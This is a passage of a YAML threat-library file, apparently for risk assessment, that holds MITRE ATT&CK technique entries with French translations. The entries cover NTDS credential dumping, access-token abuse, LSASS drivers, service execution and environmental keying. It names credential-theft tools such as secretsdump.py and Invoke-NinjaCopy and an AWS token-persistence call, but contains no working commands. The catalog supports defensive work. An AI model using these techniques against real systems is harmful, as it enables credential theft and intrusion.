      of that adversary''s development capabilities, provided the adversary plays
      a role in shaping requirements and maintains a degree of exclusivity to the
      capability.

      https://attack.mitre.org/techniques/T1587'
    translations:
      fr:
        name: "D\xE9velopper les capacit\xE9s"
        description: "Les adversaires peuvent d\xE9velopper des capacit\xE9s qui peuvent\
          \ \xEAtre utilis\xE9es pendant le ciblage. Plut\xF4t que d\u2019acheter,\
          \ de t\xE9l\xE9charger librement ou de voler des capacit\xE9s, les adversaires\
          \ peuvent d\xE9velopper leurs propres capacit\xE9s en interne. Il s\u2019\
          agit du processus d\u2019identification des exigences de d\xE9veloppement\
          \ et de cr\xE9ation de solutions telles que les logiciels malveillants,\
          \ les exploits et les certificats auto-sign\xE9s. Les adversaires peuvent\
          \ d\xE9velopper des capacit\xE9s pour soutenir leurs op\xE9rations tout\
          \ au long de nombreuses phases de leur cycle de vie. (R\xE9f\xE9rence :\
          \ Mandiant APT1)(R\xE9f\xE9rence : Kaspersky Sofacy)(Citation : Bitdefender\
          \ StrongPity, juin 2020)(Citation : Talos Promethium juin 2020)\n\nComme\
          \ pour les efforts de d\xE9veloppement l\xE9gitimes, diff\xE9rents ensembles\
          \ de comp\xE9tences peuvent \xEAtre n\xE9cessaires pour d\xE9velopper des\
          \ capacit\xE9s. Les comp\xE9tences n\xE9cessaires peuvent \xEAtre acquises\
          \ \xE0 l\u2019interne ou faire l\u2019objet d\u2019une sous-traitance. Le\
          \ recours \xE0 un entrepreneur peut \xEAtre consid\xE9r\xE9 comme une extension\
          \ des capacit\xE9s de d\xE9veloppement de cet adversaire, \xE0 condition\
          \ que l\u2019adversaire joue un r\xF4le dans l\u2019\xE9laboration des exigences\
          \ et maintienne un certain degr\xE9 d\u2019exclusivit\xE9 \xE0 l\u2019\xE9\
          gard de cette capacit\xE9.\nhttps://attack.mitre.org/techniques/T1587"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1003.003
    ref_id: T1003.003
    name: NTDS
    description: 'Adversaries may attempt to access or create a copy of the Active
      Directory domain database in order to steal credential information, as well
      as obtain other information about domain members such as devices, users, and
      access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\NTDS\Ntds.dit</code>
      of a domain controller.(Citation: Wikipedia Active Directory)


      In addition to looking for NTDS files on active Domain Controllers, adversaries
      may search for backups that contain the same or similar information.(Citation:
      Metcalf 2015)


      The following tools and techniques can be used to enumerate the NTDS file and
      the contents of the entire Active Directory hashes.


      * Volume Shadow Copy

      * secretsdump.py

      * Using the in-built Windows tool, ntdsutil.exe

      * Invoke-NinjaCopy

      https://attack.mitre.org/techniques/T1003/003'
    translations:
      fr:
        name: NTDS
        description: "Les adversaires peuvent tenter d\u2019acc\xE9der \xE0 la base\
          \ de donn\xE9es de domaine Active Directory ou d\u2019en cr\xE9er une copie\
          \ afin de voler des informations d\u2019identification, ainsi que d\u2019\
          obtenir d\u2019autres informations sur les membres du domaine, telles que\
          \ les appareils, les utilisateurs et les droits d\u2019acc\xE8s. Par d\xE9\
          faut, le fichier NTDS (NTDS.dit) se trouve dans <code>%SystemRoot\_%\\NTDS\\\
          Ntds.dit</code> d\u2019un contr\xF4leur de domaine. (citation : Wikip\xE9\
          dia Active Directory)\n\nEn plus de rechercher des fichiers NTDS sur des\
          \ contr\xF4leurs de domaine actifs, les adversaires peuvent rechercher des\
          \ sauvegardes contenant des informations identiques ou similaires. (R\xE9\
          f\xE9rence : Metcalf 2015)\n\nLes outils et techniques suivants peuvent\
          \ \xEAtre utilis\xE9s pour \xE9num\xE9rer le fichier NTDS et le contenu\
          \ de l\u2019ensemble des hachages Active Directory.\n\n* Clich\xE9 instantan\xE9\
          \ de volume\n* secretsdump.py\n* \xC0 l\u2019aide de l\u2019outil Windows\
          \ int\xE9gr\xE9, ntdsutil.exe\n* Invoke-NinjaCopy\nhttps://attack.mitre.org/techniques/T1003/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1602.001
    ref_id: T1602.001
    name: SNMP (MIB Dump)
    description: 'Adversaries may target the Management Information Base (MIB) to
      collect and/or mine valuable information in a network managed using Simple Network
      Management Protocol (SNMP).


      The MIB is a configuration repository that stores variable information accessible
      via SNMP in the form of object identifiers (OID). Each OID identifies a variable
      that can be read or set and permits active management tasks, such as configuration
      changes, through remote modification of these variables. SNMP can give administrators
      great insight in their systems, such as, system information, description of
      hardware, physical location, and software packages(Citation: SANS Information
      Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain
      device operational information, including running configuration, routing table,
      and interface details.


      Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed
      devices in order to collect network information that allows the adversary to
      build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation:
      Cisco Blog Legacy Device Attacks)

      https://attack.mitre.org/techniques/T1602/001'
    translations:
      fr:
        name: SNMP (vidage MIB)
        description: "Les adversaires peuvent cibler la base d\u2019informations de\
          \ gestion (MIB) pour collecter et/ou exploiter des informations pr\xE9cieuses\
          \ dans un r\xE9seau g\xE9r\xE9 \xE0 l\u2019aide du protocole SNMP (Simple\
          \ Network Management Protocol).\n\nLa MIB est un r\xE9f\xE9rentiel de configuration\
          \ qui stocke des informations variables accessibles via SNMP sous la forme\
          \ d\u2019identificateurs d\u2019objet (OID). Chaque OID identifie une variable\
          \ qui peut \xEAtre lue ou d\xE9finie et autorise des t\xE2ches de gestion\
          \ actives, telles que des modifications de configuration, par le biais de\
          \ la modification \xE0 distance de ces variables. SNMP peut donner aux administrateurs\
          \ un aper\xE7u important de leurs syst\xE8mes, tels que des informations\
          \ syst\xE8me, une description du mat\xE9riel, de l\u2019emplacement physique\
          \ et des progiciels (Citation : SANS Information Security Reading Room Securing\
          \ SNMP Securing SNMP Securing SNMP). La MIB peut \xE9galement contenir des\
          \ informations de fonctionnement du p\xE9riph\xE9rique, notamment la configuration\
          \ en cours d\u2019ex\xE9cution, la table de routage et les d\xE9tails de\
          \ l\u2019interface.\n\nLes adversaires peuvent utiliser des requ\xEAtes\
          \ SNMP pour collecter du contenu MIB directement \xE0 partir de p\xE9riph\xE9\
          riques g\xE9r\xE9s par SNMP afin de collecter des informations r\xE9seau\
          \ qui permettent \xE0 l\u2019adversaire de cr\xE9er des cartes de r\xE9\
          seau et de faciliter l\u2019exploitation cibl\xE9e future. (R\xE9f\xE9rence\
          \ : US-CERT-TA18-106A)(Citation : Blog Cisco Legacy Device Attacks)\nhttps://attack.mitre.org/techniques/T1602/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1001.002
    ref_id: T1001.002
    name: Steganography
    description: 'Adversaries may use steganographic techniques to hide command and
      control traffic to make detection efforts more difficult. Steganographic techniques
      can be used to hide data in digital messages that are transferred between systems.
      This hidden information can be used for command and control of compromised systems.
      In some cases, the passing of files embedded using steganography, such as image
      or document files, can be used for command and control.

      https://attack.mitre.org/techniques/T1001/002'
    translations:
      fr:
        name: "St\xE9ganographie"
        description: "Les adversaires peuvent utiliser des techniques st\xE9ganographiques\
          \ pour dissimuler le trafic de commande et de contr\xF4le afin de rendre\
          \ les efforts de d\xE9tection plus difficiles. Les techniques steganographiques\
          \ peuvent \xEAtre utilis\xE9es pour masquer des donn\xE9es dans des messages\
          \ num\xE9riques qui sont transf\xE9r\xE9s entre les syst\xE8mes. Ces informations\
          \ cach\xE9es peuvent \xEAtre utilis\xE9es pour la commande et le contr\xF4\
          le des syst\xE8mes compromis. Dans certains cas, le passage de fichiers\
          \ int\xE9gr\xE9s \xE0 l\u2019aide de la st\xE9ganographie, tels que des\
          \ fichiers d\u2019image ou de document, peut \xEAtre utilis\xE9 \xE0 des\
          \ fins de commande et de contr\xF4le.\nhttps://attack.mitre.org/techniques/T1001/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1204.001
    ref_id: T1204.001
    name: Malicious Link
    description: 'An adversary may rely upon a user clicking a malicious link in order
      to gain execution. Users may be subjected to social engineering to get them
      to click on a link that will lead to code execution. This user action will typically
      be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002).
      Clicking on a link may also lead to other execution techniques such as exploitation
      of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).
      Links may also lead users to download files that require execution via [Malicious
      File](https://attack.mitre.org/techniques/T1204/002).

      https://attack.mitre.org/techniques/T1204/001'
    translations:
      fr:
        name: Lien malveillant
        description: "Un adversaire peut compter sur le fait qu\u2019un utilisateur\
          \ clique sur un lien malveillant afin d\u2019obtenir l\u2019ex\xE9cution.\
          \ Les utilisateurs peuvent \xEAtre soumis \xE0 l\u2019ing\xE9nierie sociale\
          \ pour les amener \xE0 cliquer sur un lien qui m\xE8nera \xE0 l\u2019ex\xE9\
          cution de code. Cette action de l\u2019utilisateur sera g\xE9n\xE9ralement\
          \ observ\xE9e comme un comportement de suivi de [Lien de spearphishing](https://attack.mitre.org/techniques/T1566/002).\
          \ Le fait de cliquer sur un lien peut \xE9galement conduire \xE0 d\u2019\
          autres techniques d\u2019ex\xE9cution telles que l\u2019exploitation d\u2019\
          une vuln\xE9rabilit\xE9 de navigateur ou d\u2019une application via [Exploitation\
          \ for Client Execution](https://attack.mitre.org/techniques/T1203). Les\
          \ liens peuvent \xE9galement amener les utilisateurs \xE0 t\xE9l\xE9charger\
          \ des fichiers qui n\xE9cessitent une ex\xE9cution via [Fichier malveillant](https://attack.mitre.org/techniques/T1204/002).\n\
          https://attack.mitre.org/techniques/T1204/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1550.001
    ref_id: T1550.001
    name: Application Access Token
    description: "Adversaries may use stolen application access tokens to bypass the\
      \ typical authentication process and access restricted accounts, information,\
      \ or services on remote systems. These tokens are typically stolen from users\
      \ or services and used in lieu of login credentials.\n\nApplication access tokens\
      \ are used to make authorized API requests on behalf of a user or service and\
      \ are commonly used to access resources in cloud, container-based applications,\
      \ and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always\
      \ Use Access Tokens to Secure APIs Sept 2019) \n\nOAuth is one commonly implemented\
      \ framework that issues tokens to users for access to systems. These frameworks\
      \ are used collaboratively to verify the user and determine what actions the\
      \ user is allowed to perform. Once identity is established, the token allows\
      \ actions to be authorized, without passing the actual credentials of the user.\
      \ Therefore, compromise of the token can grant the adversary access to resources\
      \ of other sites through a malicious application.(Citation: okta)\n\nFor example,\
      \ with a cloud-based email service, once an OAuth access token is granted to\
      \ a malicious application, it can potentially gain long-term access to features\
      \ of the user account if a \"refresh\" token enabling background access is awarded.(Citation:\
      \ Microsoft Identity Platform Access 2019) With an OAuth access token an adversary\
      \ can use the user-granted REST API to perform functions such as email searching\
      \ and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\n\
      Compromised access tokens may be used as an initial step in compromising other\
      \ services. For example, if a token grants access to a victim\u2019s primary\
      \ email, the adversary may be able to extend access to all other services which\
      \ the target subscribes by triggering forgotten password routines. In AWS and\
      \ GCP environments, adversaries can trigger a request for a short-lived access\
      \ token with the privileges of another user account.(Citation: Google Cloud\
      \ Service Account Credentials)(Citation: AWS Temporary Security Credentials)\
      \ The adversary can then use this token to request data or perform actions the\
      \ original account could not. If permissions for this feature are misconfigured\
      \ \u2013 for example, by allowing all users to request a token for a particular\
      \ account - an adversary may be able to gain initial access to a Cloud Account\
      \ or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS\
      \ Roles)\n\nDirect API access through a token negates the effectiveness of a\
      \ second authentication factor and may be immune to intuitive countermeasures\
      \ like changing passwords.  For example, in AWS environments, an adversary who\
      \ compromises a user\u2019s AWS API credentials may be able to use the `sts:GetFederationToken`\
      \ API call to create a federated user session, which will have the same permissions\
      \ as the original user but may persist even if the original user credentials\
      \ are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally,\
      \ access abuse over an API channel can be difficult to detect even from the\
      \ service provider end, as the access can still align well with a legitimate\
      \ workflow.\nhttps://attack.mitre.org/techniques/T1550/001"
    translations:
      fr:
        name: "Jeton d\u2019acc\xE8s \xE0 l\u2019application"
        description: "Des adversaires peuvent utiliser des jetons d'acc\xE8s aux applications\
          \ vol\xE9s pour contourner le processus d'authentification habituel et acc\xE9\
          der \xE0 des comptes, des informations ou des services restreints sur des\
          \ syst\xE8mes distants. Ces jetons sont g\xE9n\xE9ralement vol\xE9s aux\
          \ utilisateurs ou aux services et utilis\xE9s \xE0 la place des identifiants\
          \ de connexion.\n\nLes jetons d'acc\xE8s aux applications sont utilis\xE9\
          s pour effectuer des requ\xEAtes API autoris\xE9es au nom d'un utilisateur\
          \ ou d'un service et sont couramment utilis\xE9s pour acc\xE9der aux ressources\
          \ dans le nuage, aux applications bas\xE9es sur des conteneurs et aux logiciels\
          \ en tant que service (SaaS).(Citation : Auth0 - Why You Should Always Use\
          \ Access Tokens to Secure APIs Sept 2019) \n\nOAuth est un cadre couramment\
          \ mis en \u0153uvre qui \xE9met des jetons aux utilisateurs pour l'acc\xE8\
          s aux syst\xE8mes. Ces cadres sont utilis\xE9s de mani\xE8re collaborative\
          \ pour v\xE9rifier l'utilisateur et d\xE9terminer les actions qu'il est\
          \ autoris\xE9 \xE0 effectuer. Une fois l'identit\xE9 \xE9tablie, le jeton\
          \ permet d'autoriser des actions, sans transmettre les informations d'identification\
          \ r\xE9elles de l'utilisateur. Par cons\xE9quent, la compromission du jeton\
          \ peut permettre \xE0 l'adversaire d'acc\xE9der aux ressources d'autres\
          \ sites par le biais d'une application malveillante.(Citation : okta)\n\n\
          Par exemple, avec un service de messagerie bas\xE9 sur le cloud, une fois\
          \ qu'un jeton d'acc\xE8s OAuth est accord\xE9 \xE0 une application malveillante,\
          \ celle-ci peut potentiellement obtenir un acc\xE8s \xE0 long terme aux\
          \ fonctionnalit\xE9s du compte utilisateur si un jeton de \xAB rafra\xEE\
          chissement \xBB permettant un acc\xE8s en arri\xE8re-plan est accord\xE9\
          .(Citation : Microsoft Identity Platform Access 2019) Avec un jeton d'acc\xE8\
          s OAuth, un adversaire peut utiliser l'API REST accord\xE9e \xE0 l'utilisateur\
          \ pour ex\xE9cuter des fonctions telles que la recherche d'emails et l'\xE9\
          num\xE9ration de contacts.(Citation : Staaldraad Phishing with OAuth 2017)\n\
          \nLes jetons d'acc\xE8s compromis peuvent \xEAtre utilis\xE9s comme \xE9\
          tape initiale pour compromettre d'autres services. Par exemple, si un jeton\
          \ donne acc\xE8s \xE0 la messagerie principale d'une victime, l'adversaire\
          \ peut \xEAtre en mesure d'\xE9tendre l'acc\xE8s \xE0 tous les autres services\
          \ auxquels la cible est abonn\xE9e en d\xE9clenchant des routines de mot\
          \ de passe oubli\xE9. Dans les environnements AWS et GCP, les adversaires\
          \ peuvent d\xE9clencher une demande de jeton d'acc\xE8s de courte dur\xE9\
          e avec les privil\xE8ges d'un autre compte d'utilisateur(Citation : Google\
          \ Cloud Service Account Credentials)(Citation : AWS Temporary Security Credentials)\
          \ L'adversaire peut alors utiliser ce jeton pour demander des donn\xE9es\
          \ ou effectuer des actions que le compte d'origine n'a pas pu faire. Si\
          \ les autorisations pour cette fonctionnalit\xE9 sont mal configur\xE9es\
          \ - par exemple, en permettant \xE0 tous les utilisateurs de demander un\
          \ jeton pour un compte particulier - un adversaire peut \xEAtre en mesure\
          \ d'obtenir un acc\xE8s initial \xE0 un compte cloud ou d'escalader ses\
          \ privil\xE8ges.(Citation : Rhino Security Labs Enumerating AWS Roles)\n\
          \nL'acc\xE8s direct \xE0 l'API par le biais d'un jeton annule l'efficacit\xE9\
          \ d'un deuxi\xE8me facteur d'authentification et peut \xEAtre immunis\xE9\
          \ contre les contre-mesures intuitives telles que le changement de mot de\
          \ passe.  Par exemple, dans les environnements AWS, un adversaire qui compromet\
          \ les identifiants API AWS d'un utilisateur peut \xEAtre en mesure d'utiliser\
          \ l'appel API `sts:GetFederationToken` pour cr\xE9er une session d'utilisateur\
          \ f\xE9d\xE9r\xE9, qui aura les m\xEAmes autorisations que l'utilisateur\
          \ d'origine mais pourra persister m\xEAme si les identifiants de l'utilisateur\
          \ d'origine sont d\xE9sactiv\xE9s.(Citation : Crowdstrike AWS User Federation\
          \ Persistence) En outre, l'abus d'acc\xE8s via un canal API peut \xEAtre\
          \ difficile \xE0 d\xE9tecter, m\xEAme du c\xF4t\xE9 du fournisseur de services,\
          \ car l'acc\xE8s peut toujours s'aligner sur un flux de travail l\xE9gitime.\n\
          https://attack.mitre.org/techniques/T1550/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1547.008
    ref_id: T1547.008
    name: LSASS Driver
    description: 'Adversaries may modify or add LSASS drivers to obtain persistence
      on compromised systems. The Windows security subsystem is a set of components
      that manage and enforce the security policy for a computer or domain. The Local
      Security Authority (LSA) is the main component responsible for local security
      policy and user authentication. The LSA includes multiple dynamic link libraries
      (DLLs) associated with various other security functions, all of which run in
      the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation:
      Microsoft Security Subsystem)


      Adversaries may target LSASS drivers to obtain persistence. By either replacing
      or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)),
      an adversary can use LSA operations to continuously execute malicious payloads.

      https://attack.mitre.org/techniques/T1547/008'
    translations:
      fr:
        name: Pilote LSASS
        description: "Les adversaires peuvent modifier ou ajouter des pilotes LSASS\
          \ pour obtenir une persistance sur les syst\xE8mes compromis. Le sous-syst\xE8\
          me de s\xE9curit\xE9 Windows est un ensemble de composants qui g\xE8rent\
          \ et appliquent la strat\xE9gie de s\xE9curit\xE9 d\u2019un ordinateur ou\
          \ d\u2019un domaine. L\u2019autorit\xE9 de s\xE9curit\xE9 locale (LSA) est\
          \ le principal composant responsable de la politique de s\xE9curit\xE9 locale\
          \ et de l\u2019authentification des utilisateurs. Le LSA comprend plusieurs\
          \ biblioth\xE8ques de liens dynamiques (DLL) associ\xE9es \xE0 diverses\
          \ autres fonctions de s\xE9curit\xE9, qui s\u2019ex\xE9cutent toutes dans\
          \ le contexte du processus de lsass.exe du service de sous-syst\xE8me LSA\
          \ (LSAS). (Citation : Sous-syst\xE8me de s\xE9curit\xE9 Microsoft)\n\nLes\
          \ adversaires peuvent cibler les pilotes LSASS pour obtenir de la persistance.\
          \ En rempla\xE7ant ou en ajoutant des pilotes ill\xE9gitimes (par exemple,\
          \ [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), un\
          \ adversaire peut utiliser des op\xE9rations LSA pour ex\xE9cuter en continu\
          \ des charges utiles malveillantes.\nhttps://attack.mitre.org/techniques/T1547/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1569.002
    ref_id: T1569.002
    name: Service Execution
    description: 'Adversaries may abuse the Windows service control manager to execute
      malicious commands or payloads. The Windows service control manager (<code>services.exe</code>)
      is an interface to manage and manipulate services.(Citation: Microsoft Service
      Control Manager) The service control manager is accessible to users via GUI
      components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).


      [PsExec](https://attack.mitre.org/software/S0029) can also be used to execute
      commands or payloads via a temporary Windows service created through the service
      control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029)
      and <code>sc.exe</code> can accept remote servers as arguments and may be used
      to conduct remote execution.


      Adversaries may leverage these mechanisms to execute malicious content. This
      can be done by either executing a new or modified service. This technique is
      the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003)
      during service persistence or privilege escalation.

      https://attack.mitre.org/techniques/T1569/002'
    translations:
      fr:
        name: "Ex\xE9cution du service"
        description: "Les adversaires peuvent abuser du gestionnaire de contr\xF4\
          le des services Windows pour ex\xE9cuter des commandes ou des charges utiles\
          \ malveillantes. Le gestionnaire de contr\xF4le des services Windows (<code>services.exe</code>)\
          \ est une interface permettant de g\xE9rer et de manipuler les services.\
          \ (Citation : Microsoft Service Control Manager) Le gestionnaire de contr\xF4\
          le de service est accessible aux utilisateurs via les composants de l\u2019\
          interface graphique ainsi que les utilitaires syst\xE8me tels que <code>sc.exe</code>\
          \ et [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029)\
          \ peut \xE9galement \xEAtre utilis\xE9 pour ex\xE9cuter des commandes ou\
          \ des charges utiles via un service Windows temporaire cr\xE9\xE9 via l\u2019\
          API du gestionnaire de contr\xF4le de service. (Citation : Russinovich Sysinternals)\
          \ Des outils tels que [PsExec](https://attack.mitre.org/software/S0029)\
          \ et <code>sc.exe</code> peuvent accepter des serveurs distants comme arguments\
          \ et peuvent \xEAtre utilis\xE9s pour effectuer une ex\xE9cution \xE0 distance.\n\
          \nLes adversaires peuvent exploiter ces m\xE9canismes pour ex\xE9cuter du\
          \ contenu malveillant. Cela peut se faire en ex\xE9cutant un service nouveau\
          \ ou modifi\xE9. Cette technique est l\u2019ex\xE9cution utilis\xE9e conjointement\
          \ avec le [Service Windows](https://attack.mitre.org/techniques/T1543/003)\
          \ lors de la persistance du service ou de l\u2019\xE9l\xE9vation de privil\xE8\
          ges.\nhttps://attack.mitre.org/techniques/T1569/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1078.004
    ref_id: T1078.004
    name: Cloud Accounts
    description: "Valid accounts in cloud environments may allow adversaries to perform\
      \ actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense\
      \ Evasion. Cloud accounts are those created and configured by an organization\
      \ for use by users, remote support, services, or for administration of resources\
      \ within a cloud service provider or SaaS application. Cloud Accounts can exist\
      \ solely in the cloud; alternatively, they may be hybrid-joined between on-premises\
      \ systems and the cloud through syncing or federation with other identity sources\
      \ such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation:\
      \ Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService\
      \ or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110),\
      \ [Phishing](https://attack.mitre.org/techniques/T1566), or various other means\
      \ to gain access to the environment. Federated or synced accounts may be a pathway\
      \ for the adversary to affect both on-premises systems and cloud environments\
      \ - for example, by leveraging shared credentials to log onto [Remote Services](https://attack.mitre.org/techniques/T1021).\
      \ High privileged cloud accounts, whether federated, synced, or cloud-only,\
      \ may also allow pivoting to on-premises environments by leveraging SaaS-based\
      \ [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) to\
      \ run commands on hybrid-joined devices.\n\nAn adversary may create long lasting\
      \ [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001)\
      \ on a compromised cloud account to maintain persistence in the environment.\
      \ Such credentials may also be used to bypass security controls such as multi-factor\
      \ authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated\
      \ Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges\
      \ through various means within the environment. Misconfigurations in role assignments\
      \ or role assumption policies may allow an adversary to use these mechanisms\
      \ to leverage permissions outside the intended scope of the account. Such over\
      \ privileged accounts may be used to harvest sensitive data from online storage\
      \ accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009)\
      \ or other methods.\nhttps://attack.mitre.org/techniques/T1078/004"
    translations:
      fr:
        name: Comptes cloud
        description: "Des comptes valides dans des environnements cloud peuvent permettre\
          \ aux adversaires d\u2019effectuer des actions pour obtenir l\u2019acc\xE8\
          s initial, la persistance, l\u2019\xE9l\xE9vation de privil\xE8ges ou l\u2019\
          \xE9vasion de la d\xE9fense. Les comptes cloud sont ceux cr\xE9\xE9s et\
          \ configur\xE9s par une organisation pour une utilisation par les utilisateurs,\
          \ l\u2019assistance \xE0 distance, les services ou l\u2019administration\
          \ des ressources au sein d\u2019un fournisseur de services cloud ou d\u2019\
          une application SaaS. Les comptes cloud peuvent exister uniquement dans\
          \ le cloud. ils peuvent \xE9galement \xEAtre joints de mani\xE8re hybride\
          \ entre des syst\xE8mes locaux et le cloud par le biais de la synchronisation\
          \ ou de la f\xE9d\xE9ration avec d\u2019autres sources d\u2019identit\xE9\
          \ telles que Windows Active Directory. (Citation : F\xE9d\xE9ration d\u2019\
          identit\xE9 AWS)(Citation : Google Federating GC)(Citation : Microsoft d\xE9\
          ploie la f\xE9d\xE9ration AD)\n\nLes comptes de service ou d\u2019utilisateur\
          \ peuvent \xEAtre cibl\xE9s par des adversaires par le biais de la [Force\
          \ brute](https://attack.mitre.org/techniques/T1110), de l'[Hame\xE7onnage](https://attack.mitre.org/techniques/T1566)\
          \ ou de divers autres moyens pour acc\xE9der \xE0 l\u2019environnement.\
          \ Les comptes f\xE9d\xE9r\xE9s ou synchronis\xE9s peuvent permettre \xE0\
          \ l\u2019adversaire d\u2019affecter \xE0 la fois les syst\xE8mes sur site\
          \ et les environnements cloud, par exemple en exploitant des informations\
          \ d\u2019identification partag\xE9es pour se connecter aux [Services \xE0\
          \ distance](https://attack.mitre.org/techniques/T1021). Les comptes cloud\
          \ \xE0 privil\xE8ges \xE9lev\xE9s, qu\u2019ils soient f\xE9d\xE9r\xE9s,\
          \ synchronis\xE9s ou uniquement dans le cloud, peuvent \xE9galement permettre\
          \ de pivoter vers des environnements sur site en tirant parti des [outils\
          \ de d\xE9ploiement de logiciels](https://attack.mitre.org/techniques/T1072)\
          \ bas\xE9s sur SaaS pour ex\xE9cuter des commandes sur des appareils joints\
          \ hybrides.\n\nUn adversaire peut cr\xE9er des [Informations d\u2019identification\
          \ cloud suppl\xE9mentaires](https://attack.mitre.org/techniques/T1098/001)\
          \ de longue dur\xE9e sur un compte cloud compromis afin de maintenir la\
          \ persistance dans l\u2019environnement. Ces informations d\u2019identification\
          \ peuvent \xE9galement \xEAtre utilis\xE9es pour contourner les contr\xF4\
          les de s\xE9curit\xE9 tels que l\u2019authentification multifacteur. \n\n\
          Les comptes cloud peuvent \xE9galement \xEAtre en mesure d\u2019utiliser\
          \ [Acc\xE8s cloud \xE9lev\xE9 temporaire](https://attack.mitre.org/techniques/T1548/005)\
          \ ou d\u2019autres privil\xE8ges par divers moyens au sein de l\u2019environnement.\
          \ Des erreurs de configuration dans les attributions de r\xF4les ou les\
          \ strat\xE9gies d\u2019acceptation de r\xF4le peuvent permettre \xE0 un\
          \ adversaire d\u2019utiliser ces m\xE9canismes pour tirer parti des autorisations\
          \ en dehors de la port\xE9e pr\xE9vue du compte. Ces comptes surprivil\xE9\
          gi\xE9s peuvent \xEAtre utilis\xE9s pour collecter des donn\xE9es sensibles\
          \ \xE0 partir de comptes de stockage en ligne et de bases de donn\xE9es\
          \ via [Cloud API](https://attack.mitre.org/techniques/T1059/009) ou d\u2019\
          autres m\xE9thodes.\nhttps://attack.mitre.org/techniques/T1078/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1480.001
    ref_id: T1480.001
    name: Environmental Keying
    description: 'Adversaries may environmentally key payloads or other features of
      malware to evade defenses and constraint execution to a specific target environment.
      Environmental keying uses cryptography to constrain execution or actions based
      on adversary supplied environment specific conditions that are expected to be
      present on the target. Environmental keying is an implementation of [Execution
      Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic
      techniques for deriving encryption/decryption keys from specific types of values
      in a given computing environment.(Citation: EK Clueless Agents)


      Values can be derived from target-specific elements and used to generate a decryption
      key for an encrypted payload. Target-specific values can be derived from specific
      network shares, physical devices, software/software versions, files, joined
      AD domains, system time, and local/external IP addresses.(Citation: Kaspersky
      Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding
      Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic
      Malware) By generating the decryption keys from target-specific environmental
      values, environmental keying can make sandbox detection, anti-virus detection,
      crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky
      Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can
      slow down the incident response process and help adversaries hide their tactics,
      techniques, and procedures (TTPs).


      Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027),
      adversaries may use environmental keying to help protect their TTPs and evade
      detection. Environmental keying may be used to deliver an encrypted payload
      to the target that will use target-specific values to decrypt the payload before
      execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware
      Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation:
      Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt
      the payload the adversary can avoid packaging the decryption key with the payload
      or sending it over a potentially monitored network connection. Depending on
      the technique for gathering target-specific values, reverse engineering of the
      encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss
      Whitepaper) This can be used to prevent exposure of capabilities in environments
      that are not intended to be compromised or operated within.


      Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480),
      environmental keying can be used to prevent exposure of capabilities in environments
      that are not intended to be compromised or operated within. This activity is
      distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497).
      While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
      may involve checking for known sandbox values and continuing with execution
      only if there is no match, the use of environmental keying will involve checking
      for an expected target-specific value that must match for decryption and subsequent
      execution to be successful.

      https://attack.mitre.org/techniques/T1480/001'
    translations:
      fr:
        name: Verrouillage environnemental
        description: "Les adversaires peuvent utiliser des cl\xE9s environnementales\
          \ pour les charges utiles ou d'autres caract\xE9ristiques des logiciels\
          \ malveillants afin d'\xE9chapper aux d\xE9fenses et de limiter l'ex\xE9\
          cution \xE0 un environnement cible sp\xE9cifique. La cl\xE9 environnementale\
          \ utilise la cryptographie pour limiter l'ex\xE9cution ou les actions en\
          \ fonction des conditions sp\xE9cifiques de l'environnement fournies par\
          \ l'adversaire et qui sont cens\xE9es \xEAtre pr\xE9sentes sur la cible.\
          \ La cl\xE9 environnementale est une mise en \u0153uvre des [garde-fous\
          \ d'ex\xE9cution] (https://attack.mitre.org/techniques/T1480) qui utilise\
          \ des techniques cryptographiques pour d\xE9river des cl\xE9s de chiffrement/d\xE9\
